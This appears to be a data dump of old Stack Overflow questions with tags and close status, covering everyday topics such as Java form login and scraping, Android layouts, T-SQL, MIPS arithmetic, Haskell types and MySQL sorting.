I've been trying to access a website to parse data for an Android application I am developing, but I am having no luck when it comes to logging in. The website is https://giffgaff.com/mobile/login And below is a stripped out version of the form from that page (HTML): <form action="/mobile/login" method="post"> <input type="hidden" name="login_security_token" value="b22155c7259f402f8e005a771c460670"> <input type="hidden" name="redirect" value="/mobile"> <input type="hidden" name="p_next_page" value=""> <input name="nickname" maxlength="25" type="text" value="" /> <input name="password" type="password" value="" /> <button name="step" type="submit" value="Login">Login</button> </form> Can anyone please suggest how I can login to this website using Java then parse the redirected page? Up to now, I've tried processes on the lines of: public static void main(Context context) { try { // Construct data String data = URLEncoder.encode("nickname", "UTF-8") + "=" + URLEncoder.encode("testingA", "UTF-8"); data += "&" + URLEncoder.encode("password", "UTF-8") + "=" + URLEncoder.encode("testing", "UTF-8"); // Send data URL url = new URL("https://giffgaff.com/mobile/login"); URLConnection conn = url.openConnection(); conn.setDoOutput(true); OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); wr.write(data); wr.flush(); // Get the response BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream())); String str = ""; String line; while ((line = rd.readLine()) != null) { str += line; } AlertDialog alertDialog = new AlertDialog.Builder(context).create(); alertDialog.setTitle("Output"); alertDialog.setMessage(str); alertDialog.setButton("Okay", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { } }); alertDialog.show(); wr.close(); rd.close(); } catch (Exception e) { AlertDialog alertDialog = new AlertDialog.Builder(context).create(); alertDialog.setTitle("ERROR"); alertDialog.setMessage(e.toString()); alertDialog.setButton("Okay", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { } }); alertDialog.show(); } } But my attempts return the page as if the login information was incorrect. If you would like to see for yourself how the login page behaves, here's some test login details: Nickname (username): testingA Password: testing The site also seems to depend on a Cookie called "napaSessionId"
java
login
html-parsing
null
null
null
open
Parse HTML source after login with Java === I've been trying to access a website to parse data for an Android application I am developing, but I am having no luck when it comes to logging in. The website is https://giffgaff.com/mobile/login And below is a stripped out version of the form from that page (HTML): <form action="/mobile/login" method="post"> <input type="hidden" name="login_security_token" value="b22155c7259f402f8e005a771c460670"> <input type="hidden" name="redirect" value="/mobile"> <input type="hidden" name="p_next_page" value=""> <input name="nickname" maxlength="25" type="text" value="" /> <input name="password" type="password" value="" /> <button name="step" type="submit" value="Login">Login</button> </form> Can anyone please suggest how I can login to this website using Java then parse the redirected page? Up to now, I've tried processes on the lines of: public static void main(Context context) { try { // Construct data String data = URLEncoder.encode("nickname", "UTF-8") + "=" + URLEncoder.encode("testingA", "UTF-8"); data += "&" + URLEncoder.encode("password", "UTF-8") + "=" + URLEncoder.encode("testing", "UTF-8"); // Send data URL url = new URL("https://giffgaff.com/mobile/login"); URLConnection conn = url.openConnection(); conn.setDoOutput(true); OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); wr.write(data); wr.flush(); // Get the response BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream())); String str = ""; String line; while ((line = rd.readLine()) != null) { str += line; } AlertDialog alertDialog = new AlertDialog.Builder(context).create(); alertDialog.setTitle("Output"); alertDialog.setMessage(str); alertDialog.setButton("Okay", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { } }); alertDialog.show(); wr.close(); rd.close(); } catch (Exception e) { AlertDialog alertDialog = new AlertDialog.Builder(context).create(); alertDialog.setTitle("ERROR"); alertDialog.setMessage(e.toString()); alertDialog.setButton("Okay", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { } }); alertDialog.show(); } } But my attempts return the page as if the login information was incorrect. If you would like to see for yourself how the login page behaves, here's some test login details: Nickname (username): testingA Password: testing The site also seems to depend on a Cookie called "napaSessionId"
0
3,930,658
10/14/2010 06:32:28
474,166
10/13/2010 07:09:37
6
0
I need to move an image dynamically,depending upon the input from the user..What should i use?
Depending upon the user i may need to move it to right ,left,top or bottom. Should i use animation for the purpose? Or is there any method to move image dynamically? I meant the things in android application
android
null
null
null
null
null
open
I need to move an image dynamically,depending upon the input from the user..What should i use? === Depending upon the user i may need to move it to right ,left,top or bottom. Should i use animation for the purpose? Or is there any method to move image dynamically? I meant the things in android application
0
416,077
01/06/2009 10:44:24
51,382
01/04/2009 14:30:05
36
11
Any Code Review Communites out there?
After reading this [post][1] I had a look around for 'code review' communities, but I did not really find one. There were a few but they were usually for a very specific technology and not just a programming language specific one. Never really thought of it before, but there sure is a lot of code out there that could benefit from a review. Not only is it a really good way to pick up new skills from your peers (or superiors), but it will also improve quality. Does anyone know of one? [1]: http://stackoverflow.com/questions/405009/so-community-code-reviews
code-review
community
null
null
null
null
open
Any Code Review Communites out there? === After reading this [post][1] I had a look around for 'code review' communities, but I did not really find one. There were a few but they were usually for a very specific technology and not just a programming language specific one. Never really thought of it before, but there sure is a lot of code out there that could benefit from a review. Not only is it a really good way to pick up new skills from your peers (or superiors), but it will also improve quality. Does anyone know of one? [1]: http://stackoverflow.com/questions/405009/so-community-code-reviews
0
10,007,589
04/04/2012 08:36:54
1,296,985
03/28/2012 02:14:45
22
0
Error in running 3d images
If i am running one 3d image its run but when i am implementing one more 3d image and run it shows the error.The error is 04-04 14:04:51.367: E/AndroidRuntime(11649): at rajawali.BaseObject3D.setShaderParams(BaseObject3D.java:219) 04-04 14:04:51.367: E/AndroidRuntime(11649): at rajawali.BaseObject3D.render(BaseObject3D.java:157) 04-04 14:04:51.367: E/AndroidRuntime(11649): at rajawali.BaseObject3D.render(BaseObject3D.java:127) 04-04 14:04:51.367: E/AndroidRuntime(11649): at rajawali.renderer.RajawaliRenderer.onDrawFrame(RajawaliRenderer.java:91) 04-04 14:04:51.367: E/AndroidRuntime(11649): at android.opengl.GLSurfaceView$GLThread.guardedRun(GLSurfaceView.java:1368) 04-04 14:04:51.367: E/AndroidRuntime(11649): at android.opengl.GLSurfaceView$GLThread.run(GLSurfaceView.java:1123) 04-04 14:04:51.375: I/GLThread(11649): onPause tid=10
android
3d
null
null
null
04/05/2012 11:52:15
not a real question
Error in running 3d images === If i am running one 3d image its run but when i am implementing one more 3d image and run it shows the error.The error is 04-04 14:04:51.367: E/AndroidRuntime(11649): at rajawali.BaseObject3D.setShaderParams(BaseObject3D.java:219) 04-04 14:04:51.367: E/AndroidRuntime(11649): at rajawali.BaseObject3D.render(BaseObject3D.java:157) 04-04 14:04:51.367: E/AndroidRuntime(11649): at rajawali.BaseObject3D.render(BaseObject3D.java:127) 04-04 14:04:51.367: E/AndroidRuntime(11649): at rajawali.renderer.RajawaliRenderer.onDrawFrame(RajawaliRenderer.java:91) 04-04 14:04:51.367: E/AndroidRuntime(11649): at android.opengl.GLSurfaceView$GLThread.guardedRun(GLSurfaceView.java:1368) 04-04 14:04:51.367: E/AndroidRuntime(11649): at android.opengl.GLSurfaceView$GLThread.run(GLSurfaceView.java:1123) 04-04 14:04:51.375: I/GLThread(11649): onPause tid=10
1
3,287,061
07/20/2010 04:40:33
1,444,686
11/27/2009 08:40:28
16
1
Gmail: Hindi letter showing in Boxes
I want to type some letters in GMAIL but it shows me boxes on my pc instead of showing correct letters. I have MAC 10.5.5. I have tried in Safari & firefox but same issue. Its working fine on windows. So please let me know whats issue with MAC. Thanks in advance, Laxmilal Menaria
unicode
gmail
null
null
null
07/20/2010 11:12:09
off topic
Gmail: Hindi letter showing in Boxes === I want to type some letters in GMAIL but it shows me boxes on my pc instead of showing correct letters. I have MAC 10.5.5. I have tried in Safari & firefox but same issue. Its working fine on windows. So please let me know whats issue with MAC. Thanks in advance, Laxmilal Menaria
2
3,173,947
07/04/2010 06:44:00
100,208
05/03/2009 11:24:02
881
14
Audio format for stream recording: FLV or mp4?
I'm capturing microphone (speech) input and publishing it on a flash server. I want this content to eventually be able to be streamed on iPhones as well as in the browser, so I'm wondering if I should pick the FLV or mp4 format (which encodes audio as AAC). Any thoughts, or tradeoffs I should take into account regarding file sizes and quality? Thanks!
flv
mp4
aac
null
null
null
open
Audio format for stream recording: FLV or mp4? === I'm capturing microphone (speech) input and publishing it on a flash server. I want this content to eventually be able to be streamed on iPhones as well as in the browser, so I'm wondering if I should pick the FLV or mp4 format (which encodes audio as AAC). Any thoughts, or tradeoffs I should take into account regarding file sizes and quality? Thanks!
0
1,569,101
10/14/2009 21:26:26
76,512
03/11/2009 05:55:51
106
4
TSQL function to return the number of rows in a result set from a function
I have a job that performs several validation checks on rows in several tables in a database. If the check fails it logs the failure in a table that. The information that is logged includes the table name, a uniqueidentifier value of the row that failed, which check it failed, and which job was being run at the time. Here's the simplified table definition of the log CREATE TABLE [tblSY_ValidationFieldFailures]( [pkValidationFieldFailure] [int] IDENTITY(1,1) NOT NULL, [fkJobID] [int] NOT NULL, [fkValidationFieldFailureType] [int] NOT NULL, [TableName] nvarchar(128), [TableUniqueIdentifier] [nvarchar](100) NULL) I'd like to write a function that returns the number of rows failed given a certain table and jobID (i.e. fnGetNumberOfFailedRows(@JobID, @TableName)). I tried something similar to the following: CREATE FUNCTION fnGetNumberOfRowsThatFailedValidationCheck ( @pkJobID int, @TableName nvarchar(128) ) RETURNS int AS BEGIN -- Declare the return variable here DECLARE @NumFailedRows int Select fkJobID, TableUniqueIdentifier, TableName From tblSY_ValidationFieldFailures Where fkJobID=@pkJobID And TableName=@TableName Group By fkJobID, TableName, TableUniqueIdentifier SET @NumFailedRows = @@ROWCOUNT RETURN @NumFailedRows END But of course you can't have that Select statement inside a function. Is there a way to do what I want inside a function or do I have to so the stored procedure route?
sql
tsql
udf
null
null
null
open
TSQL function to return the number of rows in a result set from a function === I have a job that performs several validation checks on rows in several tables in a database. If the check fails it logs the failure in a table that. The information that is logged includes the table name, a uniqueidentifier value of the row that failed, which check it failed, and which job was being run at the time. Here's the simplified table definition of the log CREATE TABLE [tblSY_ValidationFieldFailures]( [pkValidationFieldFailure] [int] IDENTITY(1,1) NOT NULL, [fkJobID] [int] NOT NULL, [fkValidationFieldFailureType] [int] NOT NULL, [TableName] nvarchar(128), [TableUniqueIdentifier] [nvarchar](100) NULL) I'd like to write a function that returns the number of rows failed given a certain table and jobID (i.e. fnGetNumberOfFailedRows(@JobID, @TableName)). I tried something similar to the following: CREATE FUNCTION fnGetNumberOfRowsThatFailedValidationCheck ( @pkJobID int, @TableName nvarchar(128) ) RETURNS int AS BEGIN -- Declare the return variable here DECLARE @NumFailedRows int Select fkJobID, TableUniqueIdentifier, TableName From tblSY_ValidationFieldFailures Where fkJobID=@pkJobID And TableName=@TableName Group By fkJobID, TableName, TableUniqueIdentifier SET @NumFailedRows = @@ROWCOUNT RETURN @NumFailedRows END But of course you can't have that Select statement inside a function. Is there a way to do what I want inside a function or do I have to so the stored procedure route?
0
4,990,286
02/14/2011 08:55:43
310,657
04/07/2010 05:47:33
77
0
How to load html in <iFrame>
I am storing html of error pages of my site in sql table, i want to display them in a <iframe> window, on the admin side, but not able to load the saved html in iframe, i am using asp.net mvc2. its needed to save the pages, and display later to admin. please suggest me right direction. Thank you.
javascript
asp.net
mvc
iframe
null
null
open
How to load html in <iFrame> === I am storing html of error pages of my site in sql table, i want to display them in a <iframe> window, on the admin side, but not able to load the saved html in iframe, i am using asp.net mvc2. its needed to save the pages, and display later to admin. please suggest me right direction. Thank you.
0
9,498,762
02/29/2012 12:00:42
829,188
07/05/2011 07:27:53
41
0
Dynamically adding views To Horizontal LinearLayout goes out of the screen
I have to create Text Views and Edit Texts dynamically and insert it inside the linear layout(horizontal) which is already declared in the XML file. Number of Text Views and Edit Texts to be inserted varies dynamically. I am creating the views dynamically and adding it to the linear layout.But the problem is that if number of views is more it moves out of the screen in spite of coming in the next line.what should I do to make the views come in next line if no space is available.
android
null
null
null
null
null
open
Dynamically adding views To Horizontal LinearLayout goes out of the screen === I have to create Text Views and Edit Texts dynamically and insert it inside the linear layout(horizontal) which is already declared in the XML file. Number of Text Views and Edit Texts to be inserted varies dynamically. I am creating the views dynamically and adding it to the linear layout.But the problem is that if number of views is more it moves out of the screen in spite of coming in the next line.what should I do to make the views come in next line if no space is available.
0
721,031
04/06/2009 11:21:11
33,584
11/03/2008 07:45:07
129
10
Who can figure this out?
Please check out this cool article [Click here...........][1] [1]: http://www.aspcode.net/A-simple-image-gallery.aspx On the Bottom of the page you can download the project. ( Under Attachments ). For some reason when i run it the Close Button and the Next and Previous Buttons don't work. Well i mean it does work but it does not show the actual images. Can anyone figure it out? It should be easy but i just cant get it to work. Go check it out, its a really cool program to use to show images in ASP.net. Regards Etienne
asp.net
c#
vb.net
image
jquery
null
open
Who can figure this out? === Please check out this cool article [Click here...........][1] [1]: http://www.aspcode.net/A-simple-image-gallery.aspx On the Bottom of the page you can download the project. ( Under Attachments ). For some reason when i run it the Close Button and the Next and Previous Buttons don't work. Well i mean it does work but it does not show the actual images. Can anyone figure it out? It should be easy but i just cant get it to work. Go check it out, its a really cool program to use to show images in ASP.net. Regards Etienne
0
6,243,967
06/05/2011 15:47:05
781,269
06/02/2011 14:13:42
6
0
inline function in visual c++ 6.0
I have some static bool inline function in the project (it's not my code): static bool inline is_safe_raw(CHAR_DATA *ch, CHAR_DATA *victim) { /* * ghosts are safe * this check must be done first to avoid * suicyco muttafuckas who recite 'leather-bound book' (#5743) * without any target specified * extracted NPCs are safe too */ if (!IS_NPC(victim)) { int clan; /* ghost cannot attack anyone */ if (ch != victim && !IS_NPC(ch) && IS_SET(ch->plr_flags, PLR_GHOST)) return TRUE; /* clan defenders can attack anyone in their clan */ if (victim->in_room && (clan = victim->in_room->area->clan) && victim->clan != clan && ch->clan == clan) return FALSE; /* otherwise ghosts are safe */ if (IS_SET(victim->plr_flags, PLR_GHOST)) return TRUE; } else if (victim->extracted) return TRUE; if (victim->fighting == ch || ch == victim || IS_IMMORTAL(ch)) return FALSE; /* handle ROOM_PEACE flags */ if ((victim->in_room && IS_SET(victim->in_room->room_flags, ROOM_PEACE)) || (ch->in_room && IS_SET(ch->in_room->room_flags, ROOM_PEACE))) return TRUE; /* link dead players whose adrenalin is not gushing are safe */ if (!IS_NPC(victim) && !IS_PUMPED(victim) && victim->desc == NULL) return TRUE; return !in_PK(ch, victim); } I'm trying to compile (make) it using Visual C++ 6.0 NMake (the project is '98 year) and it throws this error: Microsoft (R) Program Maintenance Utility Version 6.00.8168.0 Copyright (C) Microsoft Corp 1988-1998. All rights reserved. cl.exe /nologo /ML /W3 /G4e /O2g /D "WIN32" /YX /c -I . -I ..\msgdb -I . \COMM -I .\COMPAT -I .\DB -I .\OLC -I .\COMPAT\regex-win32 /Fofight.obj fight.c Command line warning D4002 : ignoring unknown option '/Og' fight.c fight.c(1446) : error C2061: syntax error : identifier 'is_safe_raw' fight.c(1446) : error C2059: syntax error : ';' fight.c(1446) : error C2059: syntax error : 'type' fight.c(1520) : warning C4013: 'is_safe_raw' undefined; assuming extern returnin g int NMAKE : fatal error U1077: 'cl.exe' : return code '0x2' Stop. If I get out "inline" modifier - it compiles well. But I can't understand why. Could somebody explain it to me?
c++
make
visual
null
null
null
open
inline function in visual c++ 6.0 === I have some static bool inline function in the project (it's not my code): static bool inline is_safe_raw(CHAR_DATA *ch, CHAR_DATA *victim) { /* * ghosts are safe * this check must be done first to avoid * suicyco muttafuckas who recite 'leather-bound book' (#5743) * without any target specified * extracted NPCs are safe too */ if (!IS_NPC(victim)) { int clan; /* ghost cannot attack anyone */ if (ch != victim && !IS_NPC(ch) && IS_SET(ch->plr_flags, PLR_GHOST)) return TRUE; /* clan defenders can attack anyone in their clan */ if (victim->in_room && (clan = victim->in_room->area->clan) && victim->clan != clan && ch->clan == clan) return FALSE; /* otherwise ghosts are safe */ if (IS_SET(victim->plr_flags, PLR_GHOST)) return TRUE; } else if (victim->extracted) return TRUE; if (victim->fighting == ch || ch == victim || IS_IMMORTAL(ch)) return FALSE; /* handle ROOM_PEACE flags */ if ((victim->in_room && IS_SET(victim->in_room->room_flags, ROOM_PEACE)) || (ch->in_room && IS_SET(ch->in_room->room_flags, ROOM_PEACE))) return TRUE; /* link dead players whose adrenalin is not gushing are safe */ if (!IS_NPC(victim) && !IS_PUMPED(victim) && victim->desc == NULL) return TRUE; return !in_PK(ch, victim); } I'm trying to compile (make) it using Visual C++ 6.0 NMake (the project is '98 year) and it throws this error: Microsoft (R) Program Maintenance Utility Version 6.00.8168.0 Copyright (C) Microsoft Corp 1988-1998. All rights reserved. cl.exe /nologo /ML /W3 /G4e /O2g /D "WIN32" /YX /c -I . -I ..\msgdb -I . \COMM -I .\COMPAT -I .\DB -I .\OLC -I .\COMPAT\regex-win32 /Fofight.obj fight.c Command line warning D4002 : ignoring unknown option '/Og' fight.c fight.c(1446) : error C2061: syntax error : identifier 'is_safe_raw' fight.c(1446) : error C2059: syntax error : ';' fight.c(1446) : error C2059: syntax error : 'type' fight.c(1520) : warning C4013: 'is_safe_raw' undefined; assuming extern returnin g int NMAKE : fatal error U1077: 'cl.exe' : return code '0x2' Stop. If I get out "inline" modifier - it compiles well. But I can't understand why. Could somebody explain it to me?
0
6,052,670
05/19/2011 00:56:52
759,880
05/18/2011 19:58:07
35
0
Haskell function type question
I'm beginning Haskell... I tried to write the following trivial function in two different ways, letting Haskell decide the types, and the type system does something different in each case. What is the explanation for that behavior? Prelude> let f x = 2 * x Prelude> let g = (2*) Prelude> :info f f :: Num a => a -> a -- Defined at <interactive>:1:5 Prelude> :info g g :: Integer -> Integer -- Defined at <interactive>:1:5 Thanks!
haskell
types
null
null
null
null
open
Haskell function type question === I'm beginning Haskell... I tried to write the following trivial function in two different ways, letting Haskell decide the types, and the type system does something different in each case. What is the explanation for that behavior? Prelude> let f x = 2 * x Prelude> let g = (2*) Prelude> :info f f :: Num a => a -> a -- Defined at <interactive>:1:5 Prelude> :info g g :: Integer -> Integer -- Defined at <interactive>:1:5 Thanks!
0
9,805,492
03/21/2012 13:22:18
1,282,523
03/21/2012 04:51:18
6
0
How to write a division & remainder code in MIPS?
Ive got to take 2 user inputs and find the product, quotient and remainder. I cant use the multipication or division operators either. Ive got the multipication code L1: add $t2,$s1,$s0 #diving $s0 by $s1 bge $s1, $s0, EXIT # branch if ! ( i < k ) addi $s1, $s1, 1 # k++ add $t2, $s1, $s0 # i = i * 2 EXIT: How would I find the quotient and remainder? I tried just changing all the add's to sub's but no luck.
mips
null
null
null
null
null
open
How to write a division & remainder code in MIPS? === Ive got to take 2 user inputs and find the product, quotient and remainder. I cant use the multipication or division operators either. Ive got the multipication code L1: add $t2,$s1,$s0 #diving $s0 by $s1 bge $s1, $s0, EXIT # branch if ! ( i < k ) addi $s1, $s1, 1 # k++ add $t2, $s1, $s0 # i = i * 2 EXIT: How would I find the quotient and remainder? I tried just changing all the add's to sub's but no luck.
0
5,052,964
02/19/2011 19:16:38
624,646
02/19/2011 19:16:38
1
0
3.1 Auth working example of login/logout controller methods?
Does anyone happen to have a working example of Auth in 3.1? I've been trying to get this to work, but have not had any luck. New to Kohana, first attempt is 3.1. Found Bonafide, but don't need it since I'm starting w/ 3.1. Been using examples from kerkness.ca's wiki, but they're for 3.0, and I'm too new to Kohana to know what to do. Would love to see a working example, hopefully to get buy-in from the rest of my dev team.
kohana-3
kohana-auth
null
null
null
03/29/2012 22:53:25
too localized
3.1 Auth working example of login/logout controller methods? === Does anyone happen to have a working example of Auth in 3.1? I've been trying to get this to work, but have not had any luck. New to Kohana, first attempt is 3.1. Found Bonafide, but don't need it since I'm starting w/ 3.1. Been using examples from kerkness.ca's wiki, but they're for 3.0, and I'm too new to Kohana to know what to do. Would love to see a working example, hopefully to get buy-in from the rest of my dev team.
3
9,447,196
02/25/2012 19:14:58
1,232,862
02/25/2012 18:00:04
1
0
String size in Grails too big for database field
I have Message domain class that is used to send an email to site administrators class Message { String name String subject String body } I thought String would not have a maximum size but when people put in messages that are too big then I see exceptions in my log files. For now I put a constraint in to limit the size of the message to 250 but cannot make it bigger or else the save fails. I am using PostgreSQL 9.1.1 and Grails 1.3.7. Does anyone know a way to fix this?
grails
null
null
null
null
null
open
String size in Grails too big for database field === I have Message domain class that is used to send an email to site administrators class Message { String name String subject String body } I thought String would not have a maximum size but when people put in messages that are too big then I see exceptions in my log files. For now I put a constraint in to limit the size of the message to 250 but cannot make it bigger or else the save fails. I am using PostgreSQL 9.1.1 and Grails 1.3.7. Does anyone know a way to fix this?
0
7,764,025
10/14/2011 06:49:51
990,571
10/12/2011 01:21:38
5
0
How do you do this?
private String lv_arr[]={"number1", "number2", "number3", "number4"}; This is what I defined as my listview array. How can I change those to be linked to number1.java, number2.java, number3.java,number4.java
android
listview
null
null
null
10/14/2011 11:16:32
not a real question
How do you do this? === private String lv_arr[]={"number1", "number2", "number3", "number4"}; This is what I defined as my listview array. How can I change those to be linked to number1.java, number2.java, number3.java,number4.java
1
9,592,003
03/06/2012 21:13:17
1,246,903
03/03/2012 13:43:04
1
0
Replace string with array content
I need to replace and especific string put it in a text '[cars]' with the value of an array... foreach ( $cars as $car){ $carname = strval( $car->name );?> <a href="?car=<? echo $carname; ?>"><? echo $carname; ?>,</a> <? } }?> the 'str_replace' will be the way?....
php
arrays
str-replace
null
null
03/07/2012 14:15:14
not a real question
Replace string with array content === I need to replace and especific string put it in a text '[cars]' with the value of an array... foreach ( $cars as $car){ $carname = strval( $car->name );?> <a href="?car=<? echo $carname; ?>"><? echo $carname; ?>,</a> <? } }?> the 'str_replace' will be the way?....
1
10,420,308
05/02/2012 19:24:51
1,141,471
01/10/2012 17:51:46
33
2
.NET get data from printers which have www interface
I would like to get data about ink, free pages (paper) etc fom the printers in company network. Each of these printers (mostly Minolta) has an www interface, so I can get these data by creating browser process in my program, direct it to go to the address "http://192.168.X.YY/data.htm", download all the page code and retrieve the data from it. Is this possible without this process? If I know that these data are under each IP/data.htm can I use this information to download data in the different way: socket, ftp, etc. In general: if you have some data on the website (no database access obviously), how you retrieve this data?
c++
.net
sockets
networking
network-printers
null
open
.NET get data from printers which have www interface === I would like to get data about ink, free pages (paper) etc fom the printers in company network. Each of these printers (mostly Minolta) has an www interface, so I can get these data by creating browser process in my program, direct it to go to the address "http://192.168.X.YY/data.htm", download all the page code and retrieve the data from it. Is this possible without this process? If I know that these data are under each IP/data.htm can I use this information to download data in the different way: socket, ftp, etc. In general: if you have some data on the website (no database access obviously), how you retrieve this data?
0
6,255,407
06/06/2011 16:56:00
784,079
06/04/2011 16:06:08
3
0
Is it possible to remove an eventListener temporarily (i.e. until a function has been executed)
I am doing actionscript 3 at the moment and was wondering if it was possible to remove and eventListner temporarily. I know of removeEventListener, however, that removes the eventListener completely and i cannot click the button again. If you want some more details, here the exact problem. I have function that when a button is pressed, an object appears. In the function which makes this object there is an eventListener which leads to a function which allows the user to press that object. When you press that object it disappear and the button will animate. However, since the original eventListener still exists, you can press the object while in motion and create a new object. So to the point: What i want to do is disable the eventListener while the button is moving, and reactivate it when it stops.
actionscript-3
addeventlistener
null
null
null
null
open
Is it possible to remove an eventListener temporarily (i.e. until a function has been executed) === I am doing actionscript 3 at the moment and was wondering if it was possible to remove and eventListner temporarily. I know of removeEventListener, however, that removes the eventListener completely and i cannot click the button again. If you want some more details, here the exact problem. I have function that when a button is pressed, an object appears. In the function which makes this object there is an eventListener which leads to a function which allows the user to press that object. When you press that object it disappear and the button will animate. However, since the original eventListener still exists, you can press the object while in motion and create a new object. So to the point: What i want to do is disable the eventListener while the button is moving, and reactivate it when it stops.
0
11,496,702
07/16/2012 00:06:58
1,487,215
06/28/2012 00:46:54
1
0
rename files with spaces in Linux
Hello guys I want a script that works on linux to rename files from this form i.e., Yahoo Babel Fish - Persistent Cross Site Scripting Vulnerability.jpg to that form Yahoo-Babel-Fish-Persistent-Cross-Site-Scripting-Vulnerability.jpg it only deltes every space and change it with hyphen and if it was a hyphen between two spaces .. it deltes the spaces only... like you can see in this part "Fish - Persistent" to "Fish-Persistent"
linux
bash
shell
script
rename
07/16/2012 20:11:10
off topic
rename files with spaces in Linux === Hello guys I want a script that works on linux to rename files from this form i.e., Yahoo Babel Fish - Persistent Cross Site Scripting Vulnerability.jpg to that form Yahoo-Babel-Fish-Persistent-Cross-Site-Scripting-Vulnerability.jpg it only deltes every space and change it with hyphen and if it was a hyphen between two spaces .. it deltes the spaces only... like you can see in this part "Fish - Persistent" to "Fish-Persistent"
2
2,052,168
01/12/2010 20:36:35
212,307
11/16/2009 18:45:45
1
0
textarea not receiving descendant CSS property
I have the CSS setting: > .missing textarea {background-color: #fffcc !important;} And the html looks like so: > `<div id="label-add" class="jscript xtra-box sub-question missing"> ` > `<p>Additional Health Care Instructions</p>` > `<textarea id="addrule" name="addrule"></textarea>` > `</div>` It uses the XHTML 1.0 transitional DOCTYPE. And, I've tried in FF and Chrome, and I'm not getting the textarea's background-color; it's not even showing up as overwritten in the debug console...
css
background-color
textarea
xhtml
null
02/13/2012 02:28:14
too localized
textarea not receiving descendant CSS property === I have the CSS setting: > .missing textarea {background-color: #fffcc !important;} And the html looks like so: > `<div id="label-add" class="jscript xtra-box sub-question missing"> ` > `<p>Additional Health Care Instructions</p>` > `<textarea id="addrule" name="addrule"></textarea>` > `</div>` It uses the XHTML 1.0 transitional DOCTYPE. And, I've tried in FF and Chrome, and I'm not getting the textarea's background-color; it's not even showing up as overwritten in the debug console...
3
9,026,991
01/26/2012 23:25:43
439,181
09/03/2010 17:17:29
78
2
MySQL ORDER BY optimization when sorting NULLs and '' last - is it possible?
<br> &nbsp; I've been trying to optimize an awkward ORDER BY in MySQL. The issue is that I want NULLs and blank fields '' to appear at the bottom rather than the top. I've come up with: ORDER BY isnull(if (isnull(Lastname) OR ascii(Lastname)=0, null, 1)), Lastname ASC, isnull(if (isnull(Firstname) OR ascii(Firstname)=0, null, 1)), Firstname ASC; But this is causing a filesort, accessing all the rows in the table :( By creating an index of (Lastname, Firstname) I'm able to optimize the query to be lightening fast with a simple sort: ORDER BY Lastname ASC, Firstname ASC; No filesort :) It appears that MySQL does not let you change the default sorting for NULLs, and there is no NULLS LAST option. Is it impossible for me to optimize the original sort? Thanks in advance
mysql
sorting
null
order-by
null
null
open
MySQL ORDER BY optimization when sorting NULLs and '' last - is it possible? === <br> &nbsp; I've been trying to optimize an awkward ORDER BY in MySQL. The issue is that I want NULLs and blank fields '' to appear at the bottom rather than the top. I've come up with: ORDER BY isnull(if (isnull(Lastname) OR ascii(Lastname)=0, null, 1)), Lastname ASC, isnull(if (isnull(Firstname) OR ascii(Firstname)=0, null, 1)), Firstname ASC; But this is causing a filesort, accessing all the rows in the table :( By creating an index of (Lastname, Firstname) I'm able to optimize the query to be lightening fast with a simple sort: ORDER BY Lastname ASC, Firstname ASC; No filesort :) It appears that MySQL does not let you change the default sorting for NULLs, and there is no NULLS LAST option. Is it impossible for me to optimize the original sort? Thanks in advance
0
2,513,920
03/25/2010 08:21:59
147,301
07/29/2009 18:07:58
78
4
Getting the starting shortcut in c#
Lets say that I have an executable and when it is started I want to know how it's started. I.e. I would like to know if it is started with a shortcut or directly. With this: string test = Environment.GetCommandLineArgs()[0]; I can get the path of the executable, but this is always the same, even if it's started by a shortcut. Lets say my executable is named c:\text.exe and I start it directly, then test = 'c:\test.exe' If I create a shortcut i.e. c:\shortcut.lnk (with target c:\test.exe) I want test to be 'c:\shortcut.exe' but it is 'c:\test.exe' I strongly suspect this to be impossible because the OS handles the shortcut part and the executable never can see the difference, but maybe someone has a creative idea?
c#
shortcut
shortcuts
null
null
null
open
Getting the starting shortcut in c# === Lets say that I have an executable and when it is started I want to know how it's started. I.e. I would like to know if it is started with a shortcut or directly. With this: string test = Environment.GetCommandLineArgs()[0]; I can get the path of the executable, but this is always the same, even if it's started by a shortcut. Lets say my executable is named c:\text.exe and I start it directly, then test = 'c:\test.exe' If I create a shortcut i.e. c:\shortcut.lnk (with target c:\test.exe) I want test to be 'c:\shortcut.exe' but it is 'c:\test.exe' I strongly suspect this to be impossible because the OS handles the shortcut part and the executable never can see the difference, but maybe someone has a creative idea?
0
6,743,541
07/19/2011 07:19:00
226,213
12/07/2009 08:55:27
340
12
Condition based on column in data
There are two tables, the first contain data and the second meta data for the first based on category. table1 id, category1, category2, custom1, custom2, custom3... table2 category1, category2, denom, field Example: table1 AAAAA, Car, Compact, Red, Automatic, 150bhp table2 Car, Compact, Color, custom1 The 'field' column in table2 points to which field in table1 we have meta data for. Now what I am looking to do is to somehow use the value of the 'field' column in an sql as the column. select * from table1 where table1.category1 = 'Car' and table1.category2 = 'Compact' and table1.category1 = table2.category1 and table1.category2 = table2.category2 and table2.denom = 'Color' and table1.(value of table2.field) = 'Red' Is this possible to do in a single sql statement?
sql
oracle
null
null
null
null
open
Condition based on column in data === There are two tables, the first contain data and the second meta data for the first based on category. table1 id, category1, category2, custom1, custom2, custom3... table2 category1, category2, denom, field Example: table1 AAAAA, Car, Compact, Red, Automatic, 150bhp table2 Car, Compact, Color, custom1 The 'field' column in table2 points to which field in table1 we have meta data for. Now what I am looking to do is to somehow use the value of the 'field' column in an sql as the column. select * from table1 where table1.category1 = 'Car' and table1.category2 = 'Compact' and table1.category1 = table2.category1 and table1.category2 = table2.category2 and table2.denom = 'Color' and table1.(value of table2.field) = 'Red' Is this possible to do in a single sql statement?
0
1,053,929
06/28/2009 00:32:22
42,005
11/30/2008 22:13:40
331
26
Mozilla plugin for remote desktop protocol
Is there a remote desktop plugin for mozilla browsers that can perform remote desktop functionality from with the browser. Similar to the ActiveX control found in Terminal Services Web. IE similar to this: http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=E2FF8FB5-97FF-47BC-BACC-92283B52B310
mozilla
plugins
rdp
remote-desktop
activex
07/02/2009 02:08:02
off topic
